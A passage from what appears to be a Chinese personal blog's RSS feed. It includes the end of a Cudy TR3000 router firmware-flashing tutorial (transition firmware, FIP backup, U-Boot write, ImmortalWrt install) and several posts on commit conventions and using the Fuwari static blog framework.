&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250917180607921.png&quot; alt=&quot;image-20250917180607921&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2.进入路由器后台刷入过度包&lt;/h4&gt;
&lt;p&gt;登录原厂后台后，进入 &lt;strong&gt;高级设置&lt;/strong&gt; 页面，向下滚动至页面底部，找到 &lt;strong&gt;固件升级&lt;/strong&gt; 选项。选择之前下载好的升级固件并开始刷写，系统将在刷写完成后自动重启。若过程中弹出提示“连接已断开，请检查是否通过有线或无线网络连接到路由器”，则表明固件已成功刷入。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920153841722.png&quot; alt=&quot;image-20250920153841722&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920153909743.png&quot; alt=&quot;image-20250920153909743&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920153945133.png&quot; alt=&quot;image-20250920153945133&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920154250117.png&quot; alt=&quot;image-20250920154250117&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920154626756.png&quot; alt=&quot;image-20250920154626756&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;3.登入刷写好的后台进行验证&lt;/h4&gt;
&lt;p&gt;在浏览器输入 192.168.1.1 登入后台进行验证。密码为空直接点击登入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920154753240.png&quot; alt=&quot;image-20250920154753240&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;二、备份 FIP 分区&lt;/h2&gt;
&lt;p&gt;注意：需要刷回原厂固件的记得先备份 FIP 分区 ！&lt;/p&gt;
&lt;p&gt;点击系统，选择备份与升级，找到保存mtdblook 内容，选择为FIP保存下载&lt;/p&gt;
&lt;h2&gt;三、刷入升级固件&lt;/h2&gt;
&lt;p&gt;在当前界⾯中选择：系统-&amp;gt;备份与升级，在“刷写新的固件“选项 中，上传您下载的OpenWrt固件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920155203890.png&quot; alt=&quot;image-20250920155203890&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920155441020.png&quot; alt=&quot;image-20250920155441020&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920155706099.png&quot; alt=&quot;image-20250920155706099&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;四、刷入&lt;strong&gt;uboot&lt;/strong&gt;&lt;/h2&gt;
&lt;h4&gt;1、上传并输入uboot&lt;/h4&gt;
&lt;p&gt;升级完成后，页面会自动刷新。默认登录密码为 &lt;strong&gt;&lt;code&gt;password&lt;/code&gt;&lt;/strong&gt;。进入主页后，依次选择：&lt;strong&gt;系统 → 文件传输&lt;/strong&gt;，上传 U-Boot 文件。随后进入 &lt;strong&gt;系统 → TTYD 终端&lt;/strong&gt;，使用以下账户信息登录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;用户名：&lt;code&gt;root&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密码：&lt;code&gt;password&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;登录成功后，执行下列命令完成 U-Boot 的刷写操作。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /tmp/upload/

mtd write mt7981_cudy_tr3000-mod-u-boot.fip FIP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920160036229.png&quot; alt=&quot;image-20250920160036229&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920160818595.png&quot; alt=&quot;image-20250920160818595&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;2、修改网卡地址，重启路由器&lt;/h4&gt;
&lt;p&gt;将以太网网卡的 IP 地址设置为 &lt;strong&gt;192.168.1.2&lt;/strong&gt;，子网掩码设置为 &lt;strong&gt;255.255.255.0&lt;/strong&gt;，并确保电脑的首选网口已连接至路由器的 &lt;strong&gt;LAN 口&lt;/strong&gt;。
拔掉路由器电源，按住 &lt;strong&gt;Reset&lt;/strong&gt; 按键不放的同时接通电源，保持约 10 秒后松开，即可进入下一步操作。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920160910614.png&quot; alt=&quot;image-20250920160910614&quot; /&gt;&lt;/p&gt;
&lt;p&gt;3、在浏览器地址栏输入 &lt;strong&gt;192.168.1.1&lt;/strong&gt;，进入 U-Boot 后台管理界面。现在你就可以选择你需要输入的大分区固件了（112M）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920162446803.png&quot; alt=&quot;image-20250920162446803&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;五、刷入immortalwrt 24.10闭源无线大功率固件&lt;/h2&gt;
&lt;p&gt;在浏览器地址栏输入 &lt;strong&gt;192.168.1.1&lt;/strong&gt;，进入 U-Boot 后台管理界面。选择上传固件并开始刷写，耐心等待路由器完成刷机过程。
刷机完成后，将以太网网卡的 IP 地址调整为自动获取IP地址模式（DHCP），随后在浏览器中访问 &lt;strong&gt;192.168.6.1&lt;/strong&gt;，即可进入路由器后台管理页面。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920162820704.png&quot; alt=&quot;image-20250920162820704&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/TR3000%E5%88%B7%E6%9C%BA%E6%95%99%E7%A8%8B/image-20250920163527883.png&quot; alt=&quot;image-20250920163527883&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;本教程刷入固件地址：&lt;a href=&quot;https://www.right.com.cn/forum/thread-8421483-1-1.html&quot;&gt;cudy immortalwrt 24.10闭源无线大功率固件-OPENWRT专版-恩山无线论坛 - Powered by Discuz!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Cudy TR3000 的情报收集：&lt;a href=&quot;https://www.right.com.cn/forum/thread-8411618-1-1.html&quot;&gt;折腾 Cudy TR3000 的情报收集-OPENWRT专版-恩山无线论坛 - Powered by Discuz!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;恩山暗云大佬的刷机教程：&lt;a href=&quot;https://www.right.com.cn/forum/thread-8410353-1-1.html&quot;&gt;Cudy TR3000 刷机教程指北-OPENWRT专版-恩山无线论坛 - Powered by Discuz!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;B站参考教程（讲的很清晰，还原会原厂系统看一下这期视频中的介绍）：&lt;a href=&quot;https://www.bilibili.com/video/BV13HkdYsEn6/?spm_id_from=333.1007.top_right_bar_window_history.content.click&amp;amp;vd_source=fb8eb6dfcbd71299a284e8d99e7ec589&quot;&gt;随意刷OpenWrt,超高性比便携路由器Cudy TR3000刷机/刷回原厂教程分享,一个视频全搞定!_哔哩哔哩_bilibili&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;文章作者整理的刷机固件包：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;百度：https://pan.baidu.com/s/1KPLpyDUZvPhR3L3u6Og0lg 提取码: 0721&lt;/li&gt;
&lt;li&gt;夸克：https://pan.quark.cn/s/79b3013dd1ed 提取码：Bsc3&lt;/li&gt;
&lt;li&gt;123：https://www.123912.com/s/tdpFjv-SkXw3 提取码:0d00&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;结尾：&lt;/h2&gt;
&lt;p&gt;写这篇文章也是临时起意，主要是想记录一下折腾的过程，留做存档。作为为新手，在刷机过程中发现相关资料比较分散，缺少完整的图文教程，因此尽量把自己的经历写得详细一些，供大家参考。第一次尝试写这种教程类的文章，难免有不足，欢迎大家在评论区指正。&lt;/p&gt;
</content:encoded></item><item><title>用于我个人博客的commit提交规范</title><link>https://blog.owenwoow.com/posts/2025/08/25/%E7%94%A8%E4%BA%8E%E6%88%91%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2%E7%9A%84commit%E6%8F%90%E4%BA%A4%E8%A7%84%E8%8C%83/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2025/08/25/%E7%94%A8%E4%BA%8E%E6%88%91%E4%B8%AA%E4%BA%BA%E5%8D%9A%E5%AE%A2%E7%9A%84commit%E6%8F%90%E4%BA%A4%E8%A7%84%E8%8C%83/</guid><description>探讨在个人博客开发与维护中如何制定和应用 Commit 提交规范，以保持提交历史清晰、可追踪。</description><pubDate>Mon, 25 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;常见的规范基础&lt;/h3&gt;
&lt;p&gt;社区里最常用的是 &lt;strong&gt;Conventional Commits&lt;/strong&gt;，它提供了统一的格式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;type&amp;gt;(&amp;lt;scope&amp;gt;): &amp;lt;subject&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;关于我博客项目常用的 commit 规范概览&lt;/h2&gt;
&lt;h4&gt;1. type（提交类型）&lt;/h4&gt;
&lt;p&gt;用于说明这次提交的性质。常见类型及在博客项目里的应用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;feat&lt;/strong&gt;: 新增功能
&lt;ul&gt;
&lt;li&gt;例：&lt;code&gt;feat(post): 更新 《添加 RSS 图片处理功能》&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fix&lt;/strong&gt;: 修复 bug
&lt;ul&gt;
&lt;li&gt;例：&lt;code&gt;fix(theme): 修正暗黑模式下的代码高亮颜色&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. scope（影响范围，可选）&lt;/h4&gt;
&lt;p&gt;说明修改的具体模块，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;post&lt;/code&gt;（文章相关）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rss&lt;/code&gt;（订阅源功能）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;page&lt;/code&gt; (页面)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. subject（简短描述）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;用简洁动词开头（添加、修复、优化等）。&lt;/li&gt;
&lt;li&gt;不以大写字母开头，不加句号结尾。&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>我的博客站点正式上线啦！</title><link>https://blog.owenwoow.com/posts/2025/08/21/%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2%E7%AB%99%E7%82%B9%E6%AD%A3%E5%BC%8F%E4%B8%8A%E7%BA%BF%E5%95%A6/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2025/08/21/%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2%E7%AB%99%E7%82%B9%E6%AD%A3%E5%BC%8F%E4%B8%8A%E7%BA%BF%E5%95%A6/</guid><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;嘿嘿嘿嘿嘿嘿嘿嘿嘿，我的博客也是正式上线了。搭建博客这件事情在去年寒假的时候就想做了，但是本人比较懒硬是拖到了暑假才搞定。不过很巧的是，之前我原本是想用hexo或者hugo上的一个模板作为框架的，没想到暑假刷视频的时候看到了二叉树树的视频，了解到了fuwari这个博客框架，也是满足了我对博客模板的很多想象。&lt;/p&gt;
&lt;p&gt;​后续我也会多多在这个站点上更新博客的。毕竟攒了一年的文章可不是白写的，最近回整理一下慢慢发出来啦。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2%E7%AB%99%E7%82%B9%E6%AD%A3%E5%BC%8F%E4%B8%8A%E7%BA%BF%E5%95%A6%EF%BC%81/image-20250821141203252.png&quot; alt=&quot;image-20250821141203252&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>在Markdown文章中添加视频</title><link>https://blog.owenwoow.com/posts/demo/%E5%9C%A8markdown%E6%96%87%E7%AB%A0%E4%B8%AD%E6%B7%BB%E5%8A%A0%E8%A7%86%E9%A2%91/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/demo/%E5%9C%A8markdown%E6%96%87%E7%AB%A0%E4%B8%AD%E6%B7%BB%E5%8A%A0%E8%A7%86%E9%A2%91/</guid><description>本文演示了如何在博客文章中添加嵌入视频。</description><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;只需从 YouTube 或 Bilibili 等平台复制嵌入代码，然后粘贴到 Markdown 文件中即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/video/image-20250820151232237.png&quot; alt=&quot;image-20250820151232237&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/video/image-20250820151110624.png&quot; alt=&quot;image-20250820151110624&quot; /&gt;&lt;/p&gt;
&lt;p&gt;复制下来的宽高可能不太适合博客页面，可以自定义一些宽高：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;https://www.youtube.com/embed/5gIf0_xpFPI?si=N1WTorLKL0uwLsU_&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;YouTube&lt;/h2&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;https://www.youtube.com/embed/5gIf0_xpFPI?si=5TSt2U_H2zjQ5VqY&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;h2&gt;Bilibili&lt;/h2&gt;
&lt;p&gt;&amp;lt;iframe width=&quot;100%&quot; height=&quot;468&quot; src=&quot;//player.bilibili.com/player.html?isOutside=true&amp;amp;aid=43426592&amp;amp;bvid=BV1Jb411U7u2&amp;amp;cid=76113255&amp;amp;p=1&quot; scrolling=&quot;no&quot; border=&quot;0&quot; frameborder=&quot;no&quot; framespacing=&quot;0&quot; allowfullscreen=&quot;true&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Markdown 扩展功能</title><link>https://blog.owenwoow.com/posts/demo/markdown-%E6%89%A9%E5%B1%95%E5%8A%9F%E8%83%BD/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/demo/markdown-%E6%89%A9%E5%B1%95%E5%8A%9F%E8%83%BD/</guid><description>阅读有关 Fuwari 中 Markdown 功能的更多信息.</description><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;GitHub 存储库卡片&lt;/h2&gt;
&lt;p&gt;您可以添加链接到 GitHub 存储库的动态卡片，在页面加载时，存储库信息将从 GitHub API 中提取。&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;saicaca/fuwari&quot;}&lt;/p&gt;
&lt;p&gt;使用代码创建 GitHub 存储库卡片 &lt;code&gt;::github{repo=&quot;&amp;lt;owner&amp;gt;/&amp;lt;repo&amp;gt;&quot;}&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;::github{repo=&quot;saicaca/fuwari&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Admonitions&lt;/h2&gt;
&lt;p&gt;支持以下类型的警告：  &lt;code&gt;note/注意&lt;/code&gt; &lt;code&gt;tip/提示&lt;/code&gt; &lt;code&gt;important/重要&lt;/code&gt; &lt;code&gt;warning/警告&lt;/code&gt; &lt;code&gt;caution/谨慎&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::note
Highlights information that users should take into account, even when skimming.&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip
Optional information to help a user be more successful.
:::&lt;/p&gt;
&lt;p&gt;:::important
Crucial information necessary for users to succeed.
:::&lt;/p&gt;
&lt;p&gt;:::warning
Critical content demanding immediate user attention due to potential risks.
:::&lt;/p&gt;
&lt;p&gt;:::caution
Negative potential consequences of an action.
:::&lt;/p&gt;
&lt;h3&gt;基本语法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;:::note
Highlights information that users should take into account, even when skimming.
:::

:::tip
Optional information to help a user be more successful.
:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;自定义标题&lt;/h3&gt;
&lt;p&gt;告诫的标题可以自定义。&lt;/p&gt;
&lt;p&gt;:::note[我的自定义标题]
这是带有自定义标题的注释。
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;:::note[我的自定义标题]
这是带有自定义标题的注释。
:::
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GitHub 语法&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;a href=&quot;https://github.com/orgs/community/discussions/16925&quot;&gt;GitHub 语法&lt;/a&gt;也受支持。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; [!NOTE]
&amp;gt; The GitHub syntax is also supported.

&amp;gt; [!TIP]
&amp;gt; The GitHub syntax is also supported.
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Fuwari 静态博客简易使用指南</title><link>https://blog.owenwoow.com/posts/demo/fuwari-%E7%AE%80%E6%98%93%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/fuwari-%E7%AE%80%E6%98%93%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/demo/fuwari-%E7%AE%80%E6%98%93%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/fuwari-%E7%AE%80%E6%98%93%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97/</guid><description>如何使用 Fuwari 博客模板。</description><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;文章前言&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;本片文章主要对了在部署完成 Fuwari 静态博客后可能会遇到的问题做一个简单的解答，比如：怎样在本地启动开发环境，如何发布一篇文章，对于文章中前置数据块的解释等。有关于 Fuwari 博客详细的部署教程会在后续更新。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;0x01-在本地启动运行环境&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;首先你要确保本机已安装 &lt;code&gt;node.js&lt;/code&gt;环境，在将 &lt;code&gt;cmd&lt;/code&gt;命令行的目录移动到存放博客源码的位置，输入后续内容。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;# 如果为构建以来需要构建
pnpm install

# 启动运行环境
pnpm dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0x02-创建文章&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;同样，需要将 &lt;code&gt;cmd&lt;/code&gt; 命令行目录移动到存放博客源码的位置&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;pnpm new-post &apos;文章标题&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;![image-20250825213828210](./img/Fuwari 简易使用指南/image-20250825213828210.png)&lt;/p&gt;
&lt;h2&gt;0x03-文章的存放路径&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;md文件应放置在&lt;code&gt;src/content/posts/&lt;/code&gt;目录中。也可以创建子目录，以便更好地组织您的帖子和资源。这里我修改了一下脚本源码，创建的新文章存放的目录会更具真实日期创建 (2025\08\25)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;src/content/posts/
├── post-1.md
└── post-2/
    ├── cover.png
    └── index.md
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;0x04-文章前置数据块的解释&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;使用脚本创建文章后，每篇文章会自带以下标签，我称它为前置数据块的解释(Front Matter)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在静态博客生成器（例如 Astro、Hugo、Hexo、Jekyll 等）里，Front Matter 通常放在 Markdown 文件头部，用三条短横线 &lt;code&gt;---&lt;/code&gt; 包裹，主要作用是为文章提供元数据（metadata）。这些元数据不会直接显示在正文里，但会被博客系统读取，用来生成页面、列表、SEO 信息等。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
title: My First Blog Post
published: 2023-09-09
description: This is the first post of my new Astro blog.
image: ./cover.jpg
tags: [Foo, Bar]
category: Front-end
draft: false
---
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;title&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文章标题&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;published&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文章发布日期&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文章简介，显示在首页&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;image&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文章封面图片路径。&amp;lt;br/&amp;gt;1. 以 &lt;code&gt;http://&lt;/code&gt; 或 &lt;code&gt;https://&lt;/code&gt; 开头：使用网页图片&amp;lt;br/&amp;gt;2. 以 &lt;code&gt;/&lt;/code&gt; 开头：用于 &lt;code&gt;public&lt;/code&gt; 目录中的图片&amp;lt;br/&amp;gt;3. 不带任何前缀：相对于 markdown 文件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;tags&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文章标签&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;category&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;文章分类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;draft&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;如果文章仍为草稿，则不会显示（false：显示/true：不显示）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
</content:encoded></item><item><title>Fuwari中富有表现力的代码示例</title><link>https://blog.owenwoow.com/posts/demo/fuwari%E5%AF%8C%E6%9C%89%E8%A1%A8%E7%8E%B0%E5%8A%9B%E7%9A%84%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/demo/fuwari%E5%AF%8C%E6%9C%89%E8%A1%A8%E7%8E%B0%E5%8A%9B%E7%9A%84%E4%BB%A3%E7%A0%81%E7%A4%BA%E4%BE%8B/</guid><description>在Fuwari中使用表达性代码的代码块在 Markdown 中的外观。</description><pubDate>Wed, 20 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here, we&apos;ll explore how code blocks look using &lt;a href=&quot;https://expressive-code.com/&quot;&gt;Expressive Code&lt;/a&gt;. The provided examples are based on the official documentation, which you can refer to for further details.&lt;/p&gt;
&lt;h2&gt;Expressive Code&lt;/h2&gt;
&lt;h3&gt;Syntax Highlighting&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/syntax-highlighting/&quot;&gt;Syntax Highlighting&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Regular syntax highlighting&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;This code is syntax highlighted!&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Rendering ANSI escape sequences&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;ANSI colors:
- Regular: [31mRed[0m [32mGreen[0m [33mYellow[0m [34mBlue[0m [35mMagenta[0m [36mCyan[0m
- Bold:    [1;31mRed[0m [1;32mGreen[0m [1;33mYellow[0m [1;34mBlue[0m [1;35mMagenta[0m [1;36mCyan[0m
- Dimmed:  [2;31mRed[0m [2;32mGreen[0m [2;33mYellow[0m [2;34mBlue[0m [2;35mMagenta[0m [2;36mCyan[0m

256 colors (showing colors 160-177):
[38;5;160m160 [38;5;161m161 [38;5;162m162 [38;5;163m163 [38;5;164m164 [38;5;165m165[0m
[38;5;166m166 [38;5;167m167 [38;5;168m168 [38;5;169m169 [38;5;170m170 [38;5;171m171[0m
[38;5;172m172 [38;5;173m173 [38;5;174m174 [38;5;175m175 [38;5;176m176 [38;5;177m177[0m

Full RGB colors:
[38;2;34;139;34mForestGreen - RGB(34, 139, 34)[0m

Text formatting: [1mBold[0m [2mDimmed[0m [3mItalic[0m [4mUnderline[0m
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Editor &amp;amp; Terminal Frames&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/frames/&quot;&gt;Editor &amp;amp; Terminal Frames&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Code editor frames&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;Title attribute example&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- src/content/index.html --&amp;gt;
&amp;lt;div&amp;gt;File name comment example&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Terminal frames&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;This terminal frame has no title&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Write-Output &quot;This one has a title!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Overriding frame types&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Look ma, no frame!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;# Without overriding, this would be a terminal frame
function Watch-Tail { Get-Content -Tail 20 -Wait $args }
New-Alias tail Watch-Tail
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Text &amp;amp; Line Markers&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/text-markers/&quot;&gt;Text &amp;amp; Line Markers&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Marking full lines &amp;amp; line ranges&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Line 1 - targeted by line number
// Line 2
// Line 3
// Line 4 - targeted by line number
// Line 5
// Line 6
// Line 7 - targeted by range &quot;7-8&quot;
// Line 8 - targeted by range &quot;7-8&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Selecting line marker types (mark, ins, del)&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
  console.log(&apos;this line is marked as deleted&apos;)
  // This line and the next one are marked as inserted
  console.log(&apos;this is the second inserted line&apos;)

  return &apos;this line uses the neutral default marker type&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Adding labels to line markers&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// labeled-line-markers.jsx
&amp;lt;button
  role=&quot;button&quot;
  {...props}
  value={value}
  className={buttonClassName}
  disabled={disabled}
  active={active}
&amp;gt;
  {children &amp;amp;&amp;amp;
    !active &amp;amp;&amp;amp;
    (typeof children === &apos;string&apos; ? &amp;lt;span&amp;gt;{children}&amp;lt;/span&amp;gt; : children)}
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Adding long labels on their own lines&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// labeled-line-markers.jsx
&amp;lt;button
  role=&quot;button&quot;
  {...props}

  value={value}
  className={buttonClassName}

  disabled={disabled}
  active={active}
&amp;gt;

